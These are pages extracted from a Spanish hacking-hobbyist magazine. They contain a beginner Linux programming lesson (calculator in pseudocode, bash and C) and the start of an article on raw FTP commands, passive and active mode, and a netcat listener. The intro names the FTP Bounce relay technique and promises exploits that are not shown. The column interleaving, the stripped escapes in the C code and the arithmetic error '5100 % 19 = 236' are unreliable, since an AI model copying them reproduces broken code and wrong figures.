                                                                En esta primera aproximación parece ser que
            los que hablaremos en más detalle en próximos
                                                                ya tenemos una cosa: Que la calculadora se
            capítulos. Finalmente daremos las instrucciones
                                                                debe ejecutar mientras el usuario no quiera
            necesarias para resolver los "problemas más
                                                                otra cosa. Vamos a ver que qué consiste el
            sencillos (2) y juntaremos todo. A este proceso
                                                                " s u b - p r o b l e m a " e j e c u t a r _ c a l c u l a d o ra
            se le denomina programación descendente.


Página 12                                                                                                         PC PASO A PASO Nº 11
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




              hacer                                       Poniéndolo todo junto nos quedará:

                  imprimir_menu
                                                          pipio (* Entrada del programa *)

                  leer_opcion
                                                             hacer

              mientras opcion < 0 o opcion > 5                  (* Leemos una opción válida *)
                                                                hacer
              leer_operandos                                        imprimir(1 - Sumar)
                                                                    imprimir(2 - Restar)
              calcular                                              imprimir(3 - Multiplicar)
                                                                    imprimir(4 - Dividir)
          Bien, hemos visto que el trabajo de                       imprimir(5 - Salir)
                                                                    imprimir(Deme una opción)
          ejecutar_calculadora puede ser subdividido en
                                                                    opcion <- leer()
          trabajos más sencillos.                               mientras opcion < 0 o opcion > 5

          Continuando con el diseño descendente
                                                                (* Leemos los operandos *)
          podremos llegar a que:                                si opcion distinto de 5
           imprimir_menu                                        entonces
                                                                    imprimir(Deme el primer operando:)
              imprimir(1 -   Sumar)
                                                                    numA <- leer()
              imprimir(2 -   Restar)
                                                                    imprimir(Deme el segundo operando:)
              imprimir(3 -   Multiplicar)
                                                                    numB <- leer()
              imprimir(4 -   Dividir)                           fin_si
              imprimir(5 -   Salir)
                                                                (* Realizar los cálculos *)
          leer_opcion
              imprimir(Deme una opción)                         (* Suma *)
              opcion <- leer()                                  si opcion=1
                                                                entonces
          leer_operandos                                             resultado=numA+numB
                                                                fin_si
              imprimir(Deme el primer operando:)
              numA <- leer()
                                                                (* Resta *)
              imprimir(Deme el segundo operando:)
                                                                si opcion=2
              numB <- leer()                                    entonces
                                                                    resultado=numA-numB
          y finalmente calcular                                 fin_si
              si opcion=1
              entonces                                          (* Multiplicación *)
                 resultado=numA+numB                            si opcion=3
                                                                entonces
              fin_si
                                                                    resultado=numA*numB
              si opcion=2
                                                                fin_si
              entonces
                 resultado=numA-numB                            (* División *)
              fin_si                                            si opcion=4
              si opcion=3                                       entonces
              entonces                                              resultado=numA/numB
                 resultado=numA*numB                            fin_si
              fin_si
              si opcion=4                                    mientras ( opcion distinta de 5 )
              entonces
                                                          fin (* Fin del programa *)
                 resultado=numA/numB
              fin_si



PC PASO A PASO Nº 11                                                                                      Página 13
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




            Bien, pues hemos resuelto el programa en pseudo                         Y el código en C
            c ó d i g o . A h o ra t a n s ó l o t e n d r í a m o s q u e             #include <stdio.h>
            plasmarlo en Bash-script o C:
              #!/bin/sh                                                                /* Entrada del programa principal */
               opcion=-1                                                               int main()
                                                                                       {
               # Bucle principal del programa
               while [ $opcion -ne 5 ]                                                     /* Declaraci~n de variables */
               do                                                                          float numA, numB, resultado;
                                                                                           int opcion;
                    # Verivicacion de opcion e impresion
                    while [ $opcion -lt 0 -o $opcion -gt 5 ]                               /* Bucle principal del programa */
                    do                                                                     do
                              echo "1- Sumar"                                              {
                              echo "2- Restar"                                                /* Bucle de lectura de la opci~n */
                              echo "3- Multiplicar"                                           do
                              echo "4- Dividir"                                               {
                              echo "5- Salir"                                                     printf("n 1- Sumar");
                              read opcion # Leemos la opci~n                                      printf("n 2- Restar");
                    done                                                                          printf("n 3- Multiplicar");
                                                                                                  printf("n 4- Dividir");
                    # Lectura de operandos                                                        printf("n 5- Salirn");
                    if [ $opcion -ne 5 ]                                                          printf("n Introduzca opci~n: ");
                    then                                                                          scanf("%i", &opcion);
                              echo "Deme el primer operando: "                                  }while( (opcion < 0) || (opcion > 5) );
                              read numA
                              echo "Deme el segundo operando: "                               /* Si no vamos a salir, pedimosoperandos */
                              read numB                                                       if (opcion!=5)
                    fi                                                                        {
                                                                                                  printf("n Deme el primer operando: ");
                    # Operaci~n suma                                                              scanf("%f",&numA);
                    if [ $opcion -eq 1 ]                                                          printf("n Deme el segundo operando: ");
                    then
                                                                                                  scanf("%f",&numB);
                              resultado=`echo " $numA + $numB " | bc -l`
                                                                                              }
                    fi

                    # Operaci~n resta                                                         /* Caso de suma */
                                                                                              if (opcion == 1)
                    if [ $opcion -eq 2 ]
                                                                                              {
                    then
                                                                                                  resultado = numA + numB;
                              resultado=`echo " $numA - $numB " | bc -l`
                                                                                              }
                    fi
                                                                                              /* Caso de resta */
                                                                                              if(opcion == 2)
                    # Operaci~n Multiplicaci~n
                                                                                              {
                    if [ $opcion -eq 3 ]
                                                                                                  resultado = numA - numB;
                    then
                                                                                              }
                              resultado=`echo " $numA * $numB " | bc -l`
                                                                                              /* Caso de multiplicaci~n */
                    fi
                                                                                              if(opcion == 3)
                                                                                              {
                    # Operaci~n Divisi~n
                                                                                                  resultado = numA * numB;
                    if [ $opcion -eq 4 ]
                                                                                              }
                    then
                                                                                              /* Caso de divisi~n */
                          resultado=`echo " $numA / $numB " | bc -l`
                                                                                              if(opcion == 4)
                         fi
                                                                                              {
                         # Si no vamos a salir, imprimir el resultado y “limpiar”
                                                                                                  resultado = numA / numB;
                         # opcion
                                                                                              }
                         if [ $opcion -ne 5 ]
                                                                                              /* Si no vamos a salir, imprimimos el resultado */
                    then
                                                                                              if(opcion != 5)
                              echo $resultado
                                                                                              {
                              opcion=-1
                                                                                                  printf("n%fn", resultado);
                    else
                                                                                              }
                              echo "Gracias por usar mi calculadora"
                         fi
                                                                                           }while(opcion != 5);
              done
                                                                                       }


Página 14                                                                                                                   PC PASO A PASO Nº 11
Programación bajo Linux - Programación bajo Linux - Programación bajo Linux




          Como se puede observar ambos códigos difieren               Para compilar el código C emplearemos los
          mucho incluso en su estructura (debido                      siguientes pasos:
          principalmente a que el baash-script no soporta              luis@nostromo:~/hxc/a4$ gcc calculadora.c -o calculadora
          bucles hacer.....mientras. Pero por lo demás
                                                                                luis@nostromo:~/hxc/a4$ ./calculadora
          ambos programas no son más, en su parte
                                                                            1- Sumar
          más importante, que una mera traducción del
                                                                            2- Restar
          pseudo código arriba mostrado.
                                                                            3- Multiplicar
                                                                            4- Dividir
                                                                            5- Salir
          4.1.     Ejecutando            los    programas                   Introduzca opción:

                                                                      Al invocar al compilador con gcc calculadora.c -o
          Finalmente vamos a ejecutar los programas
                                                                      calculadora le estamos diciendo que compile el
          que hemos creado. En próximos artículos, y a
                                                                      código C almacenado en el fichero calculadora.c
          medida que vayamos realizando programas
                                                                      y que genere un ejecutable llamado calculadora
          más complejos, iremos explicando opciones
                                                                      (por defecto si no se le pasa la opción -o
          más avanzadas de los compiladores o
                                                                      nombre_ejecutable, crea uno llamado a.out).
          intérpretes que empleemos. En nuestro caso
          sobre todo del compilador de C, el gcc                      En la siguiente línea (en azul) tan sólo
                                                                      e j e c u t a m o s e l e j e c u t a b l e g e n e ra d o.
          Para poder ejecutar el bash-script tendremos
          dos opciones:                                               5. Terminando
                                                                      Esto es todo por hoy. Puede que los temas
               •    Poner permisos de ejecución al archivo
                                                                      tratados parezcan muy básicos a unos; puede
                    donde guardemos el código y
                                                                      que a otros les parezca que nada de esto tiene
                    ejecutarlo (OJO!!! Esto sólo lo podremos
                    hacer si la primera línea del archivo que         que ver con el llamado mundo del hacking....
                    contenga el bash-script comienza por              A los primeros pedirles paciencia; aquí hay
                    #!/bin/sh)                                        gente que es la primera vez que toman contacto
           . Ejemplo:                                                 con la programación. A los segundos decirles
                   luis@nostromo:~/hxc/a4$ chmod +x calculadora.sh    que no se puede comenzar a construir la casa
                     luis@nostromo:~/hxc/a4$ ./calculadora.sh         por el tejado, y que si no sabemos cómo darle
                        1- Sumar                                      instrucciones a un ordenador, “malamente”
                        2- Restar                                     podremos realizar The Ultimate Application on
                        3- Multiplicar                                Networking Security
                        4- Dividir                                    En el siguiente artículo nos centraremos más
                        5- Salir                                      en el C como lenguaje de programación y en
          •   Invocando al intérprete bash-shell                      el compilador gcc. El bash-scripting tomará
                          luis@nostromo:~/hxc/a4$ sh calculadora.sh   otros derroteros no menos interesantes: Creación
                        1- Sumar                                      de nuestros propios scripts para administrar
                        2- Restar                                     nuestro sistema. Y cuando digo administrar
                        3- Multiplicar                                nuestro sistema me refiero tanto a mover
                        4- Dividir                                    archivos de un lado para otro como monitorizar
                        5- Salir                                      la red.    Saludos.


PC PASO A PASO Nº 11                                                                                                                Página 15
SERIE RAW: ENTENDIENDO LOS
                PROTOCOLOS Y SU SEGURIDAD
                RAW 5 : FTP (File Transfer Protocol)
                                                 PRIMERA PARTE




            Por fin tenemos ante nosotros la primera parte de la SERIE RAW dedicada al PROTOCOLO
            FTP. Vamos a “hablar” con un Servidor FTP de TU a TU -- Sin mediadores --


            0. Introducción                                   1.       EL PROTOCOLO FTP

            Toda la existencia de la serie RAW se remonta     1.1. Mecánismo básico del FTP
            a hace ya un año, cuando escribía por
            amor al arte en lugar de hacerlo para ninguna     Si buscamos el término “FTP” en la base de
            revista. Por aquel entonces escribía una          datos de RFCs (www.rfc-editor.org),
            serie de tutoriales sobre técnicas concretas      encontraremos una lista bastante extensa de
            de “hacking”, algunos de los cuales podéis        documentos que tratan directa o indirectamente
            bajar directamente del foro de la revista en      sobre este protocolo. Y no nos debería extrañar
            www.hackxcrack.com. Un buen día,                  mucho, si nos fijamos en que el RFC 114
            me disponía a redactar un tutorial sobre          (ftp://ftp.rfc-editor.org/in-notes/rfc114.txt), donde
            FTP Bounce, una técnica que básicamente           se encuentra la primera definición del protocolo,
            consiste en utilizar un servidor FTP              se remonta nada menos que al año ¡¡1971!!
            ajeno como puente para realizar conexiones
            “anónimas” a cualquier otra máquina,              Desde luego, poco tiene que ver ese primer
            cuando me di cuenta de que para poder             protocolo de transferencia de archivos (File
            escribirlo tenía que dar por hecho que los        Transfer Protocol) con el que utilizamos
            lectores conocían el protocolo F TP               actualmente, pero esto no deja de ser una
            en profundidad, así como otros protocolos.        prueba de la necesidad e importancia de este
            Viendo que el tema iba a ser demasiado            protocolo.
            avanzado si no se conocían los conceptos
            previos, decidí comenzar una nueva                El RFC actual de FTP (ya que el 114 está más
            serie que tratase sobre protocolos, entre los     que obsoleto) es el RFC 959 (ftp://ftp.rfc-
            cuales incluiría, por supuesto, el FTP.           editor.org/in-notes/rfc959.txt).
            Casualmente, me encontré entonces con
            la revista, y fue así como nació la serie         Entre la maraña de RFCs que tratan directa o
            RAW. :-)                                          indirectamente sobre FTP, podríamos hablar al
                                                              menos de 2 interesantes. El RFC 2577
            Asi que, sin más preámbulos, voy al fin a         (ftp://ftp.rfc-editor.org/in-notes/rfc2577.txt) nos
            redactar el artículo que me llevó a todo esto.    habla de algunos de los problemas de
            Para ello empezaré detallando el funcionamiento   seguridad del protocolo FTP, aunque de eso
            del protocolo, para luego explicar una serie de   ya os hablaré yo con mucho más detalle en
            técnicas para explotar los problemas de           este artículo ;-). El RFC 2228 (ftp://ftp.rfc-
            seguridad del mismo.                              editor.org/in-notes/rfc2228.txt) nos habla de una

Página 16                                                                                             PC PASO A PASO Nº 11
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




             extensión con comandos adicionales para               Empezaremos abriendo una consola, es decir,
             hacer el protocolo más seguro, aunque yo              una ventana MS-DOS en Windows, o una shell
             personalmente no me he encontrado con ningún          en Linux/Unix (si no sabes abrir una Ventana
             servidor FTP que los implemente :-).                  de Comandos, lee los números anteriores y/o
                                                                   pregunta en nuestro foro -->
                                                                   www.hackxcrack.com).
  !             Ya hemos hablado...                                Ahora vamos a conectar con un servidor FTP
                                                                   clásico, que es el de Rediris. Para ello escribimos:
  Ya hemos hablado en anteriores números sobre qué son
  los RFC, si deseas más información te recomendamos que           ftp ftp.rediris.es
  visites http://www.rfc-es.org/
  En esta WEB, multidud de colaboradores están traduciendo
  al español los RFC. Tienes ya muchos a tu disposición :)




             Para aquellos a los que ni siquiera les suene
             lo que es el FTP, lo resumo diciendo que es un
             protocolo que permite que un usuario remoto
             se conecte al disco duro de una máquina para
             poder ver, bajar, y subir archivos al mismo. Por
             supuesto, el administrador del servidor FTP
             será el que decida qué usuarios pueden bajar,
             subir, y ver qué archivos.

                                                                   Como vemos, nos aparece un texto de
 !             En nuestra Web...                                   bienvenida, y a continuación nos pide el nombre
                                                                   de usuario:
 En nuestra WEB (www.hackxcrack.com), nada mas entrar, tienes
 el enlace al Número 1 de esta publicación. Descargarás de forma   Name (ftp.rediris.es:pyc):
 totalmente gratuita la revista en formato PDF donde se explican
 bastantes cosas sobre los Servidores FTP y los Clientes FTP       Como nos dice en el mensaje de bienvenida,
                                                                   este servidor sólo admite usuarios anónimos.
                                                                   Para entrar como usuario anónimo, el nombre
             1.1.1.     Comandos FTP de alto nivel                 de usuario que debemos utilizar es anonymous,
                                                                   y como password podemos poner cualquier
             El protocolo FTP se parece al IRC en el sentido       cosa:
             de que existe una capa de comandos por
             encima de la capa raw, que es la que se utiliza       Name (ftp.rediris.es:pyc): anonymous
             cuando conectamos a un servidor mediante              ...
             un cliente en consola (ventana MS-DOS o shell         331 Any password will work
             de *NIX). El objetivo de este artículo es hablar      Password: a
             de la capa raw, por lo que haré sólo una pasada
             rápida por los comandos de alto nivel.                Tras introducir el nombre de usuario y el
                                                                   password, ya estamos dentro. A partir de ahora
             Vamos a verlo todo con un ejemplo práctico.           podemos empezar a lanzar comandos para ver,

PC PASO A PASO Nº 11                                                                                                      Página 17
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




            subir, y bajar los archivos.                         Hacemos un nuevo dir y vemos un directorio
                                                                 distributions:
            Empezaremos viendo qué archivos y directorios
            hay en donde nos encontramos ahora mismo.            cd distributions
            Para ello escribimos:
                                                                 Ya estamos aquí, pero hemos empleado tanto
            dir                                                  en comando cd que ya ni sabemos donde
                                                                 estamos. Si escribimos ahora:

                                                                 pwd

                                                                 Nos dirá en qué directorio nos encontramos en
                                                                 estos momentos:

                                                                 257 "/pub/linux/distributions" is your
                                                                 current location

                                                                 Queremos bajarnos la distribución de Linux de
                                                                 RedHat, así que buscamos su directorio, pero...
                                                                 ¡ojo! Como podemos ver, se trata de un link:

                                                                 lrwxrwxrwx 1 infoadmi infoadmi             22
                                                                 Feb      22       2002 redhat              ->
                                                                 ../../../mirror/redhat

            Como vemos, nos muestra los archivos con el          Por lo que si ahora hacemos:
            mismo formato que un ls -la de Linux/Unix.
            Podéis repasar los artículos sobre Linux de          cd redhat
            números anteriores de la revista si no os aclaráis
            con este listado.                                    Si a continuación escribimos:

            De momento nos interesa el directorio pub,           pwd
            porque ahí es donde típicamente se encontrarán
            los archivos disponibles para el público. Así        Nos responderá lo siguiente:
            que hacemos:
                                                                 257 "/mirror/redhat" is your current
            cd pub                                               location

            Una vez en el directorio pub hacemos de nuevo:       Ya que hemos hecho un salto directo hasta ese
                                                                 directorio en lugar de habernos movido paso
            dir                                                  a paso con varios comandos cd.

            Y vemos que hay un directorio linux. Nos             Unos cuantos movimientos mas:
            metemos ahí con:
                                                                 cd redhat
            cd linux                                             cd redhat-9-en

Página 18                                                                                           PC PASO A PASO Nº 11
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




          cd iso                                             Y comenzará el download del primer CD deRed
          cd i386                                            Hat 9. :-)

          Y, tal y como vemos con un dir, ya hemos           local: shrike-i386-disc1.iso remote: shrike-
          llegado donde están las imágenes ISO de los        i386-disc1.iso
          3 CDs de Red Hat 9.0.                              227 Entering Passive Mode
                                                             (130,206,1,5,127,9)
          Vamos a bajarnos el primer CD, para lo cual        150-Accepted data connection
          vamos a empezar por indicarle a nuestro cliente
                                                             150 653312.0 kbytes to download
          de FTP que nos muestre el progreso del
                                                             ########################
          download. Para ello escribimos:
                                                             ########################
                                                             ########################
          hash
                                                             ########################
          Si no hiciésemos esto, mientras se bajasen los     ########################
          cientos de megas que ocupa cada ISO nuestra        ########################
          consola no mostraría ningún tipo de mensaje,       #######
          por lo que no podríamos saber si se nos ha
          colgado o si sigue bajando todavía. La respuesta   Todos esos caracteres # son las marcas de 1KB
          ante ese comando:                                  que activamos previamente con el comando
                                                             hash.
          Hash mark printing on (1024 bytes/hash
          mark).                                             Una vez terminados nuestros downloads,
                                                             podemos cerrar la sesión con el comando:
          Nos dice que nos mostrará una marca cada
          vez que mueva 1024 bytes, es decir, 1KB.           bye
          Otro paso importante es decirle a nuestro
          cliente que los datos que vamos a bajar no         1.1.2. Cómo se transfieren los datos
          son texto, si no un archivo binario. Para ello
          escribimos:                                        ¿Qué es lo que hacen el cliente y el servidor
                                                             de ftp cuando ejecutamos un comando
          bin                                                get (o un comando put, que es el equivalente
                                                             a get pero para subir archivos en lugar de
          En realidad este comando no suele ser              bajar)?
          necesario, ya que se suele configurar
          automáticamente, pero nunca está de más
                                                             Cuando nos conectamos a un servidor
          indicarlo explícitamente para evitar
                                                             de FTP lo que estamos haciendo en principio
          desagradables sorpresas después de varias
                                                             es establecer una conexión TCP/IP con su
          horas de download.
                                                             puerto 21 (al menos así lo indica el
          Una vez completados estos 2 pasos previos,         estándar, pero luego cada uno puede
          ya sólo basta que hagamos:                         montar su servidor en el puerto que quiera).
                                                             A través de esa conexión enviamos los
          get shrike-i386-disc1.iso                          comandos y recibimos la respuesta a los
                                                             mismos (ver ilustración en la página siguiente).


PC PASO A PASO Nº 11                                                                                            Página 19
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




                                                                !            Si    no     has      tenido...


                                                              Si no has tenido oportunidad de leerte el número 1 de Hack
                                                              x Crack, este es el momento. Quedas advertido ;p



                                                            1.1.3. El famoso modo pasivo

                                                            Ya se ha hablado en la revista acerca de la
                                                            diferencia entre los modos pasivo y activo
            Todo esto es muy sencillo hasta aquí, sobre     (llamémoslo así) de FTP, pero os lo recuerdo
            todo para nosotros que ya somos expertos en     brevemente.
            la materia de los protocolos. Pero la
            complicación viene cuando hacemos una de        Como he dicho en el punto anterior, el cliente
            estas 3 cosas:                                  y el servidor se tienen que poner de acuerdo
                                                            sobre cómo establecer el canal de datos.
            - Pedir un listado de archivos (comando dir).   No hay que pensar mucho para deducir que
            - Bajar un archivo (comando get).               sólo hay dos formas de hacer esto:
            - Subir un archivo (comando put).
                                                            - Que el cliente abra un puerto para que el
            El resultado de cada una de estas 3 acciones    servidor se conecte a él para la transferencia
            puede implicar un envío masivo de datos,        de los datos.
            por lo que, lo que se hace es establecer una    - Que sea el servidor el que abra el puerto
            nueva conexión cada vez que hay que realizar    para que el cliente se conecte a él.
            una de estas transferencias. El cliente
            y el servidor se pondrán de acuerdo acerca de   El primer sistema es el que se llama modo
            cómo establecer esa nueva conexión TCP/IP       activo, y el segundo es el modo pasivo. Ya
            y, una vez establecida, será a través de esa    veremos más adelante cómo se llega a este
            conexión por donde se enviarán los datos.       acuerdo en detalle.




                                                            Ojo! No confundamos en esta ilustración el
                                                            sentido de la flecha con el sentido del flujo de
                                                            los datos. La flecha representa el sentido del
                                                            establecimiento de la conexión, pero los datos

Página 20                                                                                        PC PASO A PASO Nº 11
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




          circulan en el mismo sentido independiente         realmente el DIR.
          mente de cómo se establezca la conexión, tal
          y como vemos por las rayitas que imprimen          Una vez que estamos dentro de Rediris, nos
          velocidad al “archivo” del dibujo. :-)             encontraremos en el directorio raíz (del FTP,
                                                             claro, no del sistema), así que si hacemos:
          1.2.    Comandos RAW de FTP
                                                             STAT .
          Vamos ya con lo nuestro, que son los comandos
          raw. ;-)                                           Veremos el listado del directorio /, que es donde
                                                             nos encontramos. Supongo que no hará falta
          1.2.1. Establecimiento de la conexión              que os recuerde que . se refiere siempre al
                                                             directorio en el que te encuentras, y .. es el
          Una vez calentados los motores de nuestra          directorio anterior al que te encuentras dentro
          aplicación de Telnet, lanzamos la siguiente        del árbol de directorios.
          conexión:                                          Podemos hacer también un listado con un path
                                                             absoluto:
          telnet ftp.rediris.es 21
                                                             STAT /pub/linux
          Como vemos, el puerto estándar para FTP es
          el 21.

          1.2.2. Autenticación                                   !            Sobre el directorio...

          Los datos de autenticación circularán sin             Sobre el directorio RAIZ de un Servidor FTP: Los que
          ninguna encriptación ni codificación, por lo que      hace tiempo siguen nuestra publicación ya conocen
          no es necesario montar ningún jaleo para enviar       perfectamente esto, pero para los que no… … Cuando
          el password como hacíamos con el protocolo            instalamos en nuestro equipo un Software Servidor FTP,
          SMTP (¿recordáis la aplicación base64?) o con         uno de los parámetros que nos pide es el Directorio Raiz
          la codificación de IPs en DCC.                        (una carpeta que crearemos donde queramos en nuestro
          Para establecer la conexión anónima basta con         disco duro). Cuando pongamos en marcha el Servidor FTP
          que lancemos dos comandos:                            y alguien del exterior se conecte a nuestro equipo aparecerá
                                                                en esa carpeta (Directorio Raiz) y verá todo lo que hay en
          USER anonymous                                        esa carpeta, pero no podrá escapar de ella para ver el resto
          PASS a                                                de nuestro disco duro (explicado en el número 1 de Hack
                                                                x Crack).
          Si la conexión no fuese anónima, pondríamos
          el nombre de usuario y el password
          correspondientes.
                                                             1.2.4. Moviéndonos por los directorios
          1.2.3. Listado de archivos a lo cutre
                                                             Para implementar internamente el comando
          El funcionamiento de un simple DIR es bastante     CD existen en realidad 2 comandos raw
          más complicado de lo que puede parecer en          diferentes, que son: CWD y CDUP.
          un principio, por lo que de momento sólo
          veremos una forma sencilla de hacer el listado,    El comando CWD (Change Working Directory)
          y más adelante explicaré cómo funciona             sirve para movernos directamente a cualquier

PC PASO A PASO Nº 11                                                                                             Página 21
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




            directorio, mientras que el comando CDUP        Al anteponer la / hacemos que el salto al
            sirve para ir tan sólo al directorio anterior   directorio sea directo, a pesar de que
            dentro del árbol directorios. Es decir, CDUP    estuviéramos previamente en /pub/linux.
            es equivalente a CD ..
                                                            1.2.5. Borrado y renombrado de archivos
            Para verlo con un ejemplo, recordemos que
            acabamos de conectarnos al FTP de Rediris,      Generalmente, es muy raro que en las cuentas
            donde sabemos que hay un directorio pub.        anónimas de FTP (en las que se entra con
            Así que podemos hacer directamente:             usuario anonymous, como en la que estamos
                                                            usando de ejemplo) haya permisos de borrado
            CWD pub                                         de archivos, o incluso simplemente permiso
                                                            para subir archivos.
            A lo que el servidor nos responde:
                                                            A veces lo que si que podemos encontrar es
            250 OK. Current directory is /pub               un único directorio destinado a los uploads de
                                                            los usuarios anónimos, donde sí que habrá
            Si ahora hacemos:                               estos permisos.

            CDUP                                            En cualquier caso, a nadie le hará gracia que
                                                            experimentéis con estos comandos en su
            Nos responderá:                                 servidor, por lo que os aconsejo que os montéis
                                                            vuestro propio servidor para pruebas, o bien
                                                            que utilicéis el de algún amigo.
            250 OK. Current directory is /

                                                            Para borrar un archivo usaremos el comando
            Desde aquí podemos hacer directamente:
                                                            DELE:

            CWD pub/linux                                   DELE nombrearchivo

            Nos responderá diciendo:                        Y para renombrar el archivo nombre.old a
                                                            nombre.new tendremos que usar 2 comandos
            250 OK. Current directory is /pub/linux         consecutivos:

            Pero aún así nosotros podemos comprobar el      RNFR nombre.old
            directorio en el que nos encontramos en         RNTO nombre.new
            cualquier momento utilizando el comando:
                                                            1.2.6. C r e a c i ó n y d e s t r u c c i ó n d e
            PWD                                             directorios


            Y nos responderá:                               Si tenemos los permisos necesarios, también
                                                            podremos crear nuestros propios directorios
                                                            con el comando MKD:
            257 "/pub/linux" is your current location
                                                            MKD nombredirectorio
            También podemos hacer saltos a directorios
            absolutos, como por ejemplo:                    O borrarlo con el comando RMD:

            CWD /redhat                                     RMD nombredirectorio


Página 22                                                                                        PC PASO A PASO Nº 11
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




          1.2.7. Otros comandos                              Como vemos, nos dice 2 cosas. En primer lugar,
                                                             nos indica que hay 2 comandos adicionales
          P a r a e m p e z a r, e l c o m a n d o S Y S T   implementados en el servidor (CHMOD y IDLE),
          supuestamente nos muestra el sistema               y en segundo lugar nos indica el software que
          operativo que corre en el servidor, pero aquí      utiliza el servidor, así como su página web.
          el administrador o el software del servidor
                                                             Con respecto a los comandos adicionales,
          pueden haber puesto cualquier cosa, por lo
                                                             tenemos aquí un ejemplo de los clásicos
          que no es una fuente fiable de información.
                                                             comandos SITE, que son utilizados por algunos
          Por ejemplo, ante un:
                                                             servidores de FTP para aumentar la
                                                             funcionalidad. Algunos servidores, como
          SYST                                               GLFTPD (www.glftpd.org y www.glftpd.com)
                                                             basan prácticamente toda su administración en
          Podría responder algo como esto:                   los comandos SITE. Es decir, el administrador
                                                             configura el servidor desde la propia cuenta de
          215 UNIX Type: L8                                  F TP, mediante comandos especiales.

          Otro comando es el NOOP que, como podréis          Vemos que en Rediris hay 2 comandos SITE
          imaginar, no hace absolutamente nada, pero         disponibles para los usuarios anónimos. Por
          puede ser útil para evitar ser expulsado del       supuesto, es de suponer que el administrador
          servidor por exceso de idle (inactividad).         del server FTP de Rediris dispondrá de
          Si hacemos:                                        muchísimos comandos SITE más que le
                                                             permitirán administrar todo el servidor
          NOOP                                               remotamente.
                                                             Por ejemplo, si hacemos aquí:
          Podemos encontrarnos una interesante
          respuesta como esta:                               SITE IDLE 100

          200 Zzz...                                         Haremos que el timeout por inactividad en
                                                             nuestra sesión sea de 100 segundos.
          Un comando que nos puede ser de mucha              Los comandos SITE dependen de cada software,
          ayuda es precisamente... el comando HELP:          y son innumerables, por lo que se sale del tema
                                                             explicarlos aquí. :-)
          HELP

          Vemos que el servidor de Rediris nos responde      1.2.8. Empezamos con la chicha: el
          lo siguiente:                                      listado de archivos como dios manda

          214-The following SITE commands are                En realidad el comando DIR no funciona
          recognized                                         mediante el comando raw STAT, si no con un
           CHMOD                                             mecanismo más complejo, tal y como expliqué
           IDLE                                              a grandes rasgos al principio del artículo.
                                                             Vamos a ver cómo conseguirlo, tanto utilizando
          214 Pure-FTPd - http://pureftpd.org
                                                             modo pasivo, como utilizando modo activo.



PC PASO A PASO Nº 11                                                                                           Página 23
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




            1.2.8.1.         Listado en modo pasivo           Ahora solo falta que lancemos un nuevo telnet
                                                              (sin cerrar el anterior):
            En modo pasivo será el servidor el que abra
            elpuerto para establecer el canal de datos, por   telnet 130.206.1.5 48829
            lo que lo único que tenemos que decirle
            al servidor es que queremos establecer            Y... ¡hop! En la nueva ventana de telnet
                                                              aparecerá el listado. :-)
            un canal para alguna transferencia. Para ello
            basta con que ejecutemos el comando
            PASV:

            PASV

            A lo cual nos responderá con 6 números,
            cada uno de ellos en base 256:

            227 Entering Passive Mode
            (130,206,1,5,190,189)

            Los 4 primeros números nos indican la
            IP del servidor, y los dos siguientes nos
            indican el número de puerto que ha
            abierto el servidor para establecer el canal
            de datos.

            Si recordamos del artículo anterior la
            decodificación en base 256 sabremos que el
            número 190.189 en base 256 equivale en            1.2.8.2.         Listado en modo activo
            base decimal a:
                                                              Espero que el modo pasivo no os pareciera
                                                              complicado, porque el activo lo es quizá aún
            190*256 = 48640                                   más.
            48640 + 189 = 48829                               En este caso somos nosotros los que tenemos
                                                              que tener un puerto abierto en escucha para
                                                              establecer el canal de datos. Para hacer esto
            Así que el puerto será el 48829.                  podemos utilizar el famoso netcat, que ya
            Ahora sólo nos falta decirle al servidor qué      controlaréis gracias a otros artículos de la
                                                              revista: ;-)
            queremos que se transfiera a través de ese
            canal de datos. En este caso, lo que queremos     nc -vv -l -p 5100
            que transfiera es el listado de archivos de un
            directorio, por lo que ejecutamos el comando      Este comando, como ya sabemos, pone en
                                                              escucha el puerto 5100.
            LIST:
                                                              Vamos a empezar codificando el número 5100
                                                              en base 256. Si recordamos el artículo anterior,
            LIST                                              será:

            Con esto el servidor ya no sólo tiene el puerto   5100 / 256 = 19'...
            48829 a la escucha, si no que además tiene        5100 % 19 = 236
            los datos preparados para ser enviados al
            primero que se conecte a ese puerto... ¿he        Por tanto, 5100 en base 256 será 19.236.
            dicho al primero? ... ;-)


Página 24                                                                                         PC PASO A PASO Nº 11
Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP - Serie Raw - Protocolo FTP




          Supongamos que nuestra IP pública es              ¿No será que estás detrás de un router? Si es
          213.125.12.12. Si ahora ejecutamos en el          así, es probable que tu router haga IP
          FTP el comando:                                   masquerading, por lo que la IP que tienes
                                                            que indicar en el comando PORT no es tu IP
          PORT 213,125,12,12,19,236                         pública, si no tu IP privada (la de tu red local).
                                                            Tu router automáticamente modificará ese dato
                                                            para que lo que llegue al servidor de Rediris
          Le estaremos diciendo al servidor que hemos
                                                            sea en realidad tu IP pública. Por tanto, si tu
          abierto un puerto en escucha para establecer
                                                            IP privada fuese 192.168.1.1 en el ejemplo,
          un canal de datos. El puerto será el 19.236 en    ésta sería la secuencia de comandos:
          base 256, es decir, el 5100 en base 10. La IP
          será la que le hemos indicado, es decir,          nc -vv -l -p 5100
          213.125.12.12. ¿No os suena esto de que           PORT 192,168,1,1,19,236
          seamos nosotros los que especificamos la IP       LIST
          y el puerto a los que se tiene que conectar a
          algo que ya conté en el artículo sobre DCC? ;-)
                                                                !            Hemos tratado...
          A continuación, le decimos al servidor qué
          queremos que se transfiera a través de ese           Hemos tratado MUCHAS veces en esta publicación todo
          canal de datos. En este caso es el listado de        lo relacionado con IPs Públicas, IPs Privadas, etc. Si tienes
          archivos, por lo que lanzamos el comando             dudas pregunta en nuestro foro :)
